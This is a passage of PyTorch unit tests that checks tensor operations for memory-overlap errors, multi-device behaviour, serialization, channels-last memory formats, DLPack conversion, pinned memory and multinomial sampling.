self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(y, mask, out=y) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(mask.clone(), mask, out=mask) @onlyOnCPUAndCUDA def test_masked_scatter_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) src = torch.rand((3,), device=device) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.masked_scatter_(mask, src) @onlyOnCPUAndCUDA def test_index_select_mem_overlap(self, device): x = torch.rand((1, 6), device=device).expand((2, 6)) y = torch.rand((3, 6), device=device) ind = torch.tensor([0, 1], dtype=torch.int64, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.index_select(y, 1, ind, out=x) @onlyOnCPUAndCUDA def test_scatter_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) src = torch.rand((3,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.scatter_(0, ind, src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): src.scatter_(0, ind, src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.scatter_(0, ind, ind.clone()) @onlyOnCPUAndCUDA def test_gather_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) src = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(src, 0, ind, out=x) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(src, 0, ind, out=src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.gather(ind.clone(), 0, ind[1:], out=ind[:1]) @onlyOnCPUAndCUDA def test_take_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) src = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device, dtype=torch.int64) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(src, ind, out=x) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(src, ind, out=src) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.take(ind.clone(), ind[1:], out=ind[:-1]) @onlyCUDA def test_multinomial_device_constrain(self, device): x = torch.empty(0, device="cpu") y = torch.empty(0, device=device) self.assertRaisesRegex( RuntimeError, "Expected all tensors to be on the same device", lambda: torch.multinomial(x, 2, out=y)) @deviceCountAtLeast(2) @onlyCUDA def test_multinomial_gpu_device_constrain(self, devices): x = torch.empty(0, device=devices[0]) y = torch.empty(0, device=devices[1]) self.assertRaisesRegex( RuntimeError, "Expected all tensors to be on the same device", lambda: torch.multinomial(x, 2, out=y)) @deviceCountAtLeast(2) @onlyCUDA def test_device_guard(self, devices): # verify that all operators with `device_guard: False` behave properly with multiple devices. # TODO: if we had operator introspection we could figure out this set of operators automatically... x = torch.randn((1, 2, 3), device=devices[1]) y = torch.zeros((1, 3, 2), device=devices[1]) scalar = torch.tensor(5, device=devices[1]) # property ops torch.cudnn_is_acceptable(x) x.is_distributed() x.is_floating_point() x.is_complex() x.is_same_size(y) x.is_signed() x.size(0) x.stride(0) x.numel() x.is_set_to(y) x.data_ptr() scalar.is_nonzero() # sparse property ops y[0][1] = 5 y_sparse = y.to_sparse() y_sparse.sparse_dim() y_sparse._dimI() y_sparse.dense_dim() y_sparse._dimV() y_sparse._nnz() y_sparse.is_coalesced() y_sparse._indices() y_sparse._values() y_sparse.indices() y_sparse.values() # in-place ops def inplace(): return torch.randn((1, 2, 3), device=devices[1]) inplace().as_strided_(y.size(), y.stride()) inplace().resize_(y.size()) inplace().squeeze_() inplace().squeeze_(0) inplace().unsqueeze_(2) inplace().transpose_(1, 2) inplace().squeeze_().t_() inplace().set_(x.storage()) inplace().set_(x.storage(), x.storage_offset(), x.size(), x.stride()) inplace().set_(x) inplace().set_() y_sparse._coalesced_(True) # shape modification x.as_strided(y.size(), y.stride()) x.expand((5, 2, 3)) x.expand_as(x) x.sum_to_size((1,)) torch.broadcast_tensors(x , x) x.reshape((1, 3, 2)) x.reshape_as(y) x.squeeze() x.squeeze(0) x.squeeze().t() x.transpose(1, 2) x.unsqueeze(2) x.view((1, 3, 2)) x.view_as(y) # chunk, split, etc. x.chunk(2, dim=1) x.split(1, dim=2) x.split_with_sizes([1, 2], dim=2) x.unfold(dimension=2, size=1, step=1) x.narrow(1, 1, 1) x.select(1, 1) torch.isnan(x) torch.empty((1, 3, 2), out=y) torch.empty_like(x) torch.empty_like(x, dtype=torch.int64) # to x.to(x) x.to(y) x.to(x, copy=True) def test_is_signed(self, device): self.assertEqual(torch.IntTensor(5).to(device).is_signed(), True) self.assertEqual(torch.ByteTensor(5).to(device).is_signed(), False) self.assertEqual(torch.CharTensor(5).to(device).is_signed(), True) self.assertEqual(torch.FloatTensor(5).to(device).is_signed(), True) self.assertEqual(torch.HalfTensor(10).to(device).is_signed(), True) # Note - reports a leak of 512 bytes on CUDA device 1 @deviceCountAtLeast(2) @skipCUDAMemoryLeakCheckIf(True) @onlyCUDA def test_tensor_set_errors_multigpu(self, devices): f_cuda0 = torch.randn((2, 3), dtype=torch.float32, device=devices[0]) f_cuda1 = torch.randn((2, 3), dtype=torch.float32, device=devices[1]) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1.storage())) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1.storage(), 0, f_cuda1.size(), f_cuda1.stride())) self.assertRaises(RuntimeError, lambda: f_cuda0.set_(f_cuda1)) @onlyCUDA def test_half_tensor(self, device): x = torch.randn(5, 5).half() self.assertEqual(x.to(device), x) xc = x.to(device) with tempfile.NamedTemporaryFile() as f: torch.save(xc, f) f.seek(0) xc2 = torch.load(f) self.assertIsInstance(xc2, type(xc)) self.assertEqual(xc.float(), xc2.float()) @onlyCUDA @deviceCountAtLeast(1) # Note: Tests works with one but prefers more devices def test_serialization(self, devices): def _test_serialization(filecontext_lambda): t0 = torch.cuda.FloatTensor(5).fill_(1) with torch.cuda.device(devices[-1]): tn = torch.cuda.FloatTensor(3).fill_(2) torch.cuda.set_device(devices[0]) b = (t0, tn) with filecontext_lambda() as f: torch.save(b, f) f.seek(0) c = torch.load(f) self.assertEqual(b, c, atol=0, rtol=0) u0, un = c self.assertEqual(str(u0.device), devices[0]) self.assertEqual(str(un.device), devices[-1]) _test_serialization(tempfile.NamedTemporaryFile) _test_serialization(BytesIOContext) def test_memory_format_preserved_after_permute(self, device): x = torch.randn(4, 3, 8, 8, device=device) nhwc = x.contiguous(memory_format=torch.channels_last) y = nhwc.permute(0, 1, 3, 2).permute(0, 1, 3, 2) self.assertTrue(y.is_contiguous(memory_format=torch.channels_last)) x = torch.randn(4, 3, 8, 8, 8, device=device) ndhwc = x.contiguous(memory_format=torch.channels_last_3d) y = ndhwc.permute(0, 1, 4, 3, 2).permute(0, 1, 4, 3, 2) self.assertTrue(y.is_contiguous(memory_format=torch.channels_last_3d)) def test_memory_format_propagation_rules(self, device): contiguous = torch.rand(10, 3, 5, 5, device=device) cl = torch.rand(10, 3, 5, 5, device=device).contiguous(memory_format=torch.channels_last) ambiguous = torch.rand(10, 3, 1, 1, device=device).contiguous(memory_format=torch.channels_last) self.assertTrue(ambiguous.is_contiguous(memory_format=torch.channels_last)) self.assertTrue(ambiguous.is_contiguous(memory_format=torch.contiguous_format)) bias = torch.rand(1, 1, 1, 1, device=device).contiguous(memory_format=torch.channels_last) def _test_propagation_rules(self, contiguous, cl, ambiguous, bias): options = ((ambiguous, contiguous, torch.contiguous_format), (ambiguous, cl, torch.channels_last), (contiguous, ambiguous, torch.contiguous_format), (contiguous, cl, torch.contiguous_format), (cl, ambiguous, torch.channels_last), (cl, contiguous, torch.channels_last), (bias, cl, torch.channels_last), (cl, bias, torch.channels_last),) for a, b, mf in options: result = a + b self.assertTrue(result.is_contiguous(memory_format=mf)) _test_propagation_rules(self, contiguous, cl, ambiguous, bias) cl = cl.to(memory_format=torch.channels_last) ambiguous = ambiguous.to(memory_format=torch.channels_last) bias = bias.to(memory_format=torch.channels_last) _test_propagation_rules(self, contiguous, cl, ambiguous, bias) # test cases when strides matter in ambiguous tensors for mf in (torch.channels_last, torch.contiguous_format): ambiguous = torch.rand(10, 3, 1, 1, device=device).to(memory_format=mf) bias = torch.rand(3, 1, 1, device=device) result = ambiguous + bias self.assertEqual(ambiguous.stride(), result.stride()) result = bias + ambiguous self.assertEqual(ambiguous.stride(), result.stride()) result = ambiguous * 5 self.assertEqual(ambiguous.stride(), result.stride()) def test_memory_format_empty_like(self, device): def test_helper(x, memory_format): xc = x.contiguous(memory_format=memory_format) like = torch.empty_like(xc, memory_format=torch.preserve_format) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) like_x = torch.empty_like(x, memory_format=torch.preserve_format) self.assertTrue(like_x.is_contiguous()) self.assertFalse(like_x.is_contiguous(memory_format=memory_format)) like = torch.empty_like(x, memory_format=memory_format) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) like = torch.empty_like(xc, memory_format=torch.contiguous_format) self.assertTrue(like.is_contiguous()) self.assertFalse(like.is_contiguous(memory_format=memory_format)) like = torch.empty_like(xc) self.assertFalse(like.is_contiguous()) self.assertTrue(like.is_contiguous(memory_format=memory_format)) sparse = x.to_sparse() with self.assertRaises(RuntimeError): z = torch.empty_like(sparse, memory_format=torch.preserve_format) test_helper(torch.randn(4, 3, 8, 8, device=device), torch.channels_last) test_helper(torch.randn(4, 3, 8, 8, 8, device=device), torch.channels_last_3d) def test_memory_format_consistency(self, device): x = torch.randn(10, 3, 1, 1, device=device) x_rep = x.as_strided(x.size(), x.stride()) self.assertEqual(x.size(), x_rep.size()) self.assertEqual(x.stride(), x_rep.stride()) self.assertEqual(x.is_contiguous(), x_rep.is_contiguous()) self.assertEqual(x.is_contiguous(memory_format=torch.channels_last), x_rep.is_contiguous(memory_format=torch.channels_last)) self.assertEqual( x.is_contiguous(memory_format=torch.channels_last_3d), x_rep.is_contiguous(memory_format=torch.channels_last_3d)) def test_memory_format_operators(self, device): def _chunk_op(x, y): x1, x2 = x.chunk(2, dim=1) return x1 + x2 def _unsqueeze_op_add(x, y): return x[0].unsqueeze(0) + 3 def _unsqueeze_op_clone(x, y): return x[0].unsqueeze(0).clone() def _test_helper(x, y, bias, memory_format): return_contig_fns = [ lambda x, y: y + x, lambda x, y: y * x, lambda x, y: y.addcdiv(x, y, value=2), lambda x, y: y.addcmul(x, y, value=2), ] bias_fns = [ lambda x, b: x + b, lambda x, b: b + x, ] fns = [ lambda x, y: x.clone(), lambda x, y: x + 3, lambda x, y: 3 * x, lambda x, y: x + y, lambda x, y: x * y, lambda x, y: abs(x), lambda x, y: x.abs(), lambda x, y: x.abs_(), lambda x, y: x.acos(), lambda x, y: x.acos_(), lambda x, y: x.add(y, alpha=3), lambda x, y: x.add_(y, alpha=3), lambda x, y: x.addcdiv(y, y, value=2), lambda x, y: x.addcdiv_(y, y, value=2), lambda x, y: x.addcmul(y, y, value=2), lambda x, y: x.addcmul_(y, y, value=2), lambda x, y: x.acosh(), lambda x, y: x.acosh_(), lambda x, y: x.asinh(), lambda x, y: x.asinh_(), lambda x, y: x.atanh(), lambda x, y: x.atanh_(), lambda x, y: x.asin(), lambda x, y: x.asin_(), lambda x, y: x.atan(), lambda x, y: x.atan2(y), lambda x, y: x.atan2_(y), lambda x, y: x.ceil(), lambda x, y: x.ceil_(), lambda x, y: x.clamp(-1, 1), lambda x, y: x.cos(), lambda x, y: x.cosh(), lambda x, y: x.div(0.5), lambda x, y: x.div_(0.5), lambda x, y: x.div(y), lambda x, y: x.div_(y), lambda x, y: x.digamma(), lambda x, y: x.digamma_(), lambda x, y: x.erf(), lambda x, y: x.erfc(), lambda x, y: x.erfinv(), lambda x, y: x.erfinv_(), lambda x, y: x.exp(), lambda x, y: x.expm1(), lambda x, y: x.expm1_(), lambda x, y: x.floor(), lambda x, y: x.floor_(), lambda x, y: x.fmod(2), lambda x, y: x.frac(), lambda x, y: x.hypot(y), lambda x, y: x.hypot_(y), lambda x, y: x.i0(), lambda x, y: x.i0_(), lambda x, y: x.lerp(y, 0.5), lambda x, y: x.log(), lambda x, y: x.log_(), lambda x, y: x.log10(), lambda x, y: x.log10_(), lambda x, y: x.log1p(), lambda x, y: x.log1p_(), lambda x, y: x.log2(), lambda x, y: x.log2_(), lambda x, y: x.mul(3), lambda x, y: x.mul_(3), lambda x, y: x.neg(), lambda x, y: x.neg_(), lambda x, y: x.pow(3), lambda x, y: x.pow_(3), lambda x, y: x.pow(0.0), lambda x, y: x.pow(1.0), lambda x, y: x.reciprocal(), lambda x, y: x.remainder(2), lambda x, y: x.round(), lambda x, y: x.round_(), lambda x, y: x.rsqrt(), lambda x, y: x.rsqrt_(), lambda x, y: x.sigmoid(), lambda x, y: x.sigmoid_(), lambda x, y: x.logit(), lambda x, y: x.logit_(), lambda x, y: x.logit(1e-6), lambda x, y: x.logit_(1e-6), lambda x, y: x.sign(), lambda x, y: x.sign_(), lambda x, y: x.sgn(), lambda x, y: x.sgn_(), lambda x, y: x.sin(), lambda x, y: x.sin_(), lambda x, y: x.sinh(), lambda x, y: x.sinh_(), lambda x, y: x.sqrt(), lambda x, y: x.sqrt_(), lambda x, y: x.tan(), lambda x, y: x.tanh(), lambda x, y: x.trunc(), lambda x, y: x.trunc_(), _chunk_op, _unsqueeze_op_add, _unsqueeze_op_clone, ] for fn in fns: x_c = x.contiguous() y_c = y.contiguous() result_c = fn(x_c, y_c) result = fn(x, y) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=memory_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), memory_format)) for fn in bias_fns: x_c = x.contiguous() b_c = bias.contiguous() result_c = fn(x_c, b_c) result = fn(x, bias) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=memory_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), memory_format)) for fn in return_contig_fns: x_c = x.contiguous() y_c = y.contiguous() result_c = fn(x_c, y_c) result = fn(x, y) self.assertEqual(result, result_c) self.assertTrue( result.is_contiguous(memory_format=torch.contiguous_format), "result of the '{}' is not in '{}' format".format(inspect.getsource(fn).strip(), torch.contiguous_format)) _test_helper( torch.randn((4, 3, 8, 8), device=device).contiguous(memory_format=torch.channels_last), abs(torch.randn((4, 3, 8, 8), device=device)) + 1, torch.randn((1, 3, 1, 1), device=device).contiguous(memory_format=torch.channels_last), torch.channels_last) _test_helper( torch.randn((4, 3, 8, 8, 8), device=device).contiguous(memory_format=torch.channels_last_3d), abs(torch.randn((4, 3, 8, 8, 8), device=device)) + 1, torch.randn((1, 3, 1, 1, 1), device=device).contiguous(memory_format=torch.channels_last_3d), torch.channels_last_3d) def test_strides_propagation(self, device): def _test_helper(x, op, unary=False): def compare_strides(s1, s2, div): sdiv = [s // div for s in s1] self.assertEqual(sdiv, s2) dim = x.dim() # we produce memory dense outputs, so when input is strided on the last dimension # we need to divide by that dimension stride to compare input and result strides div = x.stride(-1) for p in permutations(range(dim)): xp = x.permute(p) if not unary: y = torch.randn(xp.size(-1), device=x.device, dtype=x.dtype) for inputs in ((xp, xp), (xp, y), (y, xp)): res = op(*inputs) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) out = torch.empty(0, device=xp.device, dtype=res.dtype) res = op(*inputs, out=out) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) else: res = op(xp) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) out = torch.empty(0, device=xp.device, dtype=res.dtype) res = op(xp, out=out) compare_strides(xp.stride(), res.stride(), div) self.assertEqual(xp.size(), res.size()) # torch.eq by default calls TensorIterator with defined output, torch.add with undefined binary_ops = (torch.eq, torch.add) unary_ops = (torch.exp,) # memory dense, sliced and ambiguous sliced (ambiguous dense loses permutation information) xs = (torch.randn(2, 3, 4, device=device), torch.randn(2, 3, 8, device=device)[:, :, ::2], torch.randn(1, 1, 4, 12, device=device)[:, :, :, ::2]) for op in binary_ops: for x in xs: _test_helper(x, op) for op in unary_ops: for x in xs: _test_helper(x, op, unary=True) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_capsule_conversion(self, device, dtype): # DLpack does not explicitly support bool (xref dmlc/dlpack#75) x = make_tensor((5,), device, dtype) z = from_dlpack(to_dlpack(x)) self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_protocol_conversion(self, device, dtype): x = make_tensor((5,), device, dtype) z = from_dlpack(x) self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA def test_dlpack_shared_storage(self, device): x = make_tensor((5,), device, torch.float64) z = from_dlpack(to_dlpack(x)) z[0] = z[0] + 20.0 self.assertEqual(z, x) @skipMeta @onlyCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_conversion_with_streams(self, device, dtype): # Create a stream where the tensor will reside stream = torch.cuda.Stream() with torch.cuda.stream(stream): # Do an operation in the actual stream x = make_tensor((5,), device, dtype) + 1 # DLPack protocol helps establish a correct stream order # (hence data dependency) at the exchange boundary. # DLPack manages this synchronization for us, so we don't need to # explicitly wait until x is populated stream = torch.cuda.Stream() with torch.cuda.stream(stream): z = from_dlpack(x) stream.synchronize() self.assertEqual(z, x) @skipMeta @onlyCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_conversion_with_diff_streams(self, device, dtype): from torch._C import _from_dlpack stream_a = torch.cuda.Stream() stream_b = torch.cuda.Stream() # DLPack protocol helps establish a correct stream order # (hence data dependency) at the exchange boundary. # the `tensor.__dlpack__` method will insert a synchronization event # in the current stream to make sure that it was correctly populated. with torch.cuda.stream(stream_a): x = make_tensor((5,), device, dtype) + 1 z = _from_dlpack(x.__dlpack__(stream_b.cuda_stream)) stream_a.synchronize() stream_b.synchronize() self.assertEqual(z, x) @skipMeta @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes(include_bool=False)) def test_dlpack_tensor_invalid_stream(self, device, dtype): with self.assertRaises(TypeError): x = make_tensor((5,), device, dtype) x.__dlpack__(stream=object()) @skipMeta def test_dlpack_error_on_bool_tensor(self): x = torch.tensor([True], dtype=torch.bool) with self.assertRaises(RuntimeError): to_dlpack(x) # TODO: increase tests once NumPy supports the `__dlpack__` protocol @skipMeta def test_dlpack_export_requires_grad(self): x = torch.zeros(10, dtype=torch.float32, requires_grad=True) with self.assertRaisesRegex(RuntimeError, r"require gradient"): x.__dlpack__() @skipMeta def test_dlpack_export_is_conj(self): x = torch.tensor([-1 + 1j, -2 + 2j, 3 - 3j]) y = torch.conj(x) with self.assertRaisesRegex(RuntimeError, r"conjugate bit"): y.__dlpack__() @skipMeta def test_dlpack_export_non_strided(self): x = torch.sparse_coo_tensor([[0]], [1], size=(1,)) y = torch.conj(x) with self.assertRaisesRegex(RuntimeError, r"strided"): y.__dlpack__() @onlyCUDA @unittest.skipIf(PYTORCH_CUDA_MEMCHECK, "is_pinned uses failure to detect pointer property") def test_pin_memory_from_constructor(self, device): def _get_like(t, **kwargs): return [ torch.rand_like(t, **kwargs), torch.randn_like(t, **kwargs), torch.empty_like(t, **kwargs), torch.full_like(t, 4, **kwargs), torch.zeros_like(t, **kwargs), torch.ones_like(t, **kwargs), ] def _get_tensors(**kwargs): return [ torch.tensor([10, 11], **kwargs), torch.randn(3, 5, **kwargs), torch.rand(3, **kwargs), # torch.randint(3, 5, **kwargs), // unsupported torch.zeros(3, **kwargs), torch.randperm(3, **kwargs), torch.empty(6, **kwargs), torch.ones(6, **kwargs), torch.eye(6, **kwargs), torch.arange(3, 5, **kwargs)] pinned_tensors = _get_tensors(pin_memory=True) + _get_like(torch.empty(5, dtype=torch.float64), pin_memory=True) for x in pinned_tensors: self.assertTrue(x.is_pinned()) tensors = _get_tensors() + _get_like(torch.empty(5, dtype=torch.float64, pin_memory=True)) for x in tensors: self.assertFalse(x.is_pinned()) def test_storage_device(self, device): x = torch.tensor([], device=device) self.assertEqual(x.dtype, x.storage().dtype) @deviceCountAtLeast(2) @onlyCUDA def test_storage_multigpu(self, devices): for device in devices: x = torch.tensor([], device=device) self.assertEqual(x.dtype, x.storage().dtype) @dtypesIfCUDA(torch.float, torch.double, torch.half) @dtypes(torch.float, torch.double) def test_multinomial(self, device, dtype): def make_prob_dist(shape, is_contiguous): if is_contiguous: if dtype == torch.half: return torch.zeros(shape, device=device).uniform_().to(dtype=torch.half) return torch.zeros(shape, device=device, dtype=dtype).uniform_() elif len(shape) == 1: if dtype == torch.half: return torch.zeros((shape + [5]), device=device).uniform_().to(dtype=torch.half)[:, 2] return torch.zeros((shape + [5]), device=device, dtype=dtype).uniform_()[:, 2] else: # num dim = 2 new_shape = [2, shape[1], 7, 1, shape[0], 1, 10] if dtype == torch.half: prob_dist = torch.zeros(new_shape, device=device).uniform_().to(dtype=torch.half) else: prob_dist = torch.zeros(new_shape, device=device, dtype=dtype).uniform_() prob_dist = prob_dist.transpose(1, 4) prob_dist = prob_dist[1, :, 5, 0, :, 0, 4] assert not prob_dist.is_contiguous() # sanity check return prob_dist for is_contiguous in (True, False): # with replacement n_row = 3 for n_col in range(4, 5 + 1): prob_dist = make_prob_dist([n_row, n_col], is_contiguous) # indices that shouldn't be sampled (<0 means none) zero_prob_indices = torch.LongTensor(n_row).random_(-2, n_col).tolist() for i, j in enumerate(zero_prob_indices): if j >= 0: prob_dist[i, j] = 0 n_sample = n_col * 3 sample_indices = torch.multinomial(prob_dist, n_sample, True) self.assertEqual(prob_dist.dim(), 2) self.assertEqual(sample_indices.size(1), n_sample) for i in range(n_row): zero_prob_idx = zero_prob_indices[i] if zero_prob_idx < 0: continue for j in range(n_sample): self.assertNotEqual(sample_indices[i, j], zero_prob_idx, msg="sampled an index with zero probability") # without replacement n_row = 3 for n_col in range(2, 10 + 1, 2): prob_dist = make_prob_dist([n_row, n_col], is_contiguous) # indices that shouldn't be sampled (<0 means none) zero_prob_indices = torch.LongTensor(n_row).random_(-1, n_col).tolist() for i, j in enumerate(zero_prob_indices): if j >= 0: prob_dist[i, j] = 0 n_sample = max(1, n_col - 2) sample_indices = torch.multinomial(prob_dist, n_sample, False) self.assertEqual(prob_dist.dim(), 2) self.assertEqual(sample_indices.size(1), n_sample) for i in range(n_row): row_samples = {} zero_prob_idx = zero_prob_indices[i] for j in range(n_sample): sample_idx = sample_indices[i, j] if zero_prob_idx >= 0: self.assertNotEqual(sample_idx, zero_prob_idx, msg="sampled an index with zero probability") self.assertNotIn(sample_idx, row_samples, "sampled an index twice") row_samples[sample_idx] = True # vector n_col = 4 prob_dist = make_prob_dist([n_col], is_contiguous).fill_(1) zero_prob_idx = 1 # index that shouldn't be sampled prob_dist[zero_prob_idx] = 0 n_sample = 20 sample_indices = torch.multinomial(prob_dist, n_sample, True) for sample_index in sample_indices: self.assertNotEqual(sample_index, zero_prob_idx, msg="sampled an index with zero probability") s_dim = sample_indices.dim() self.assertEqual(sample_indices.dim(), 1, msg="wrong number of dimensions") self.assertEqual(prob_dist.dim(), 1, msg="wrong number of prob_dist dimensions") self.assertEqual(sample_indices.size(0), n_sample, msg="wrong number of samples") # CUDA misalignment issue (#46702) n_row, n_col = 2, 3 prob_dist = make_prob_dist([n_row, n_col], True) n_sample = 1 sample_indices = torch.multinomial(prob_dist, n_sample, True) self.assertEqual(sample_indices.dim(), 2, msg="wrong number of dimensions") self.assertEqual(sample_indices.size(1), n_sample, msg="wrong number of samples") @onlyCUDA @dtypes(torch.float, torch.double, torch.half) def test_multinomial_deterministic(self, device, dtype): gen = torch.Generator(device=device) trials = 5 seed = 0 prob_dist = torch.rand(10000, 1000, device=device, dtype=dtype) n_sample = 1 for i in range(trials): gen.manual_seed(seed) samples_1 = torch.multinomial(prob_dist, n_sample, True, generator=gen) gen.manual_seed(seed) samples_2 = torch.multinomial(prob_dist, n_sample, True, generator=gen) self.assertEqual(samples_1, samples_2) self.assertEqual(samples_1.dim(), 2, msg="wrong number of dimensions") self.assertEqual(samples_1.size(1), n_sample, msg="wrong number of samples") @slowTest @dtypes(torch.float) def test_multinomial_rng_state_advance(self, device, dtype): corpus_size = 100000 freqs = torch.ones(corpus_size, dtype=torch.float, device=device) n_sample = 100 samples1 = torch.multinomial(freqs, n_sample, replacement=True) samples2 = torch.multinomial(freqs, n_sample, replacement=True) samples = torch.cat([samples1, samples2]) # expect no more than 1 repeating elements generated in 2 attempts # the probability of at least element being repeated is surprisingly large, 18% self.assertLessEqual(2 * n_sample - samples.unique().size(0), 2) samples1 = torch.multinomial(freqs, n_sample, replacement=False) samples2 = torch.multinomial(freqs, n_sample, replacement=False) samples = torch.cat([samples1, samples2]) # expect no more than 1 repeating elements generated in 2 attempts self.assertLessEqual(2 * n_sample - samples.unique().size(0), 1) def _test_memory_format_transformations(self, device, input_generator_fn, transformation_fn, memory_format, compare_data=True, default_is_preserve=False): assert(memory_format == torch.channels_last or memory_format == torch.channels_last_3d) # xc is a channels last tensor xc = input_generator_fn(device) # xc is not memory dense, but looks like channels last if memory_format == torch.channels_last: xc = xc[..., ::2, ::2] else: xc = xc[..., ::2, ::2, ::2] clone = transformation_fn(xc, memory_format=torch.preserve_format) self.assertFalse(clone.is_contiguous()) self.assertTrue(clone.is_contiguous(memory_format=memory_format)) self.assertFalse(xc.is_contiguous()) self.assertFalse(xc.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) xc = input_generator_fn(device) clone = transformation_fn(xc, memory_format=torch.contiguous_format) self.assertTrue(clone.is_contiguous()) self.assertFalse(clone.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) xc = input_generator_fn(device) clone = transformation_fn(xc) if default_is_preserve: self.assertFalse(clone.is_contiguous()) self.assertTrue(clone.is_contiguous(memory_format=memory_format)) else: self.assertTrue(clone.is_contiguous()) self.assertFalse(clone.is_contiguous(memory_format=memory_format)) if compare_data: self.assertEqual(xc, clone.to(xc)) x = torch.randn((3, 4, 5, 6, 7, 8, 9), device=device) for _ in range(10): permutation = list(range(len(x.shape))) random.shuffle(permutation) x = x.permute(permutation) self.assertEqual(x.stride(), transformation_fn(x, memory_format=torch.preserve_format).stride()) def test_memory_format_to(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.to(dtype=torch.float64, **kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, default_is_preserve=True) def test_memory_format_type(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.to(torch.float64, **kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, default_is_preserve=True) def test_memory_format_clone(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn def transformation_fn(tensor, **kwargs): return tensor.clone(**kwargs) formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, True, default_is_preserve=True) def test_memory_format_factory_like_functions_preserve(self, device): def get_generator(memory_format, shape): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=torch.float32).contiguous(memory_format=memory_format) return input_generator_fn transformation_fns = [ lambda t, **kwargs: torch.zeros_like(t, **kwargs), lambda t, **kwargs: torch.ones_like(t, **kwargs), lambda t, **kwargs: torch.randint_like(t, 10, 100, **kwargs), lambda t, **kwargs: torch.randint_like(t, 100, **kwargs), lambda t, **kwargs: torch.randn_like(t, **kwargs), lambda t, **kwargs: torch.rand_like(t, **kwargs), lambda t, **kwargs: torch.full_like(t, 7, **kwargs), lambda t, **kwargs: torch.empty_like(t, **kwargs)] formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape, in formats_shapes: for transformation_fn in transformation_fns: self._test_memory_format_transformations( device, get_generator(mf, shape), transformation_fn, mf, compare_data=False, default_is_preserve=True) def test_memory_format_type_shortcuts(self, device): def get_generator(memory_format, shape, dtype): def input_generator_fn(device): return torch.randn(shape, device=device, dtype=dtype).clamp(0, 1) \ .round().contiguous(memory_format=memory_format) return input_generator_fn def get_fn(fn_name): def transformation_fn(tensor, **kwargs): fn = getattr(tensor, fn_name) return fn(**kwargs) return transformation_fn shortcuts = ['byte', 'char', 'double', 'bool', 'half', 'int', 'long', 'short'] if device == 'cpu': shortcuts += ['bfloat16'] formats_shapes = ( (torch.channels_last, (4, 3, 8, 8)), (torch.channels_last_3d, (4, 3, 8, 8, 8))) for mf, shape in formats_shapes: for fn_name in shortcuts: self._test_memory_format_transformations( device, get_generator(mf, shape, torch.float32), get_fn(fn_name), mf, default_is_preserve=True) # Test 'float' separately to avoid float->float no-op. for mf, shape in formats_shapes: self._test_memory_format_transformations( device, get_generator(mf, shape, torch.float64), 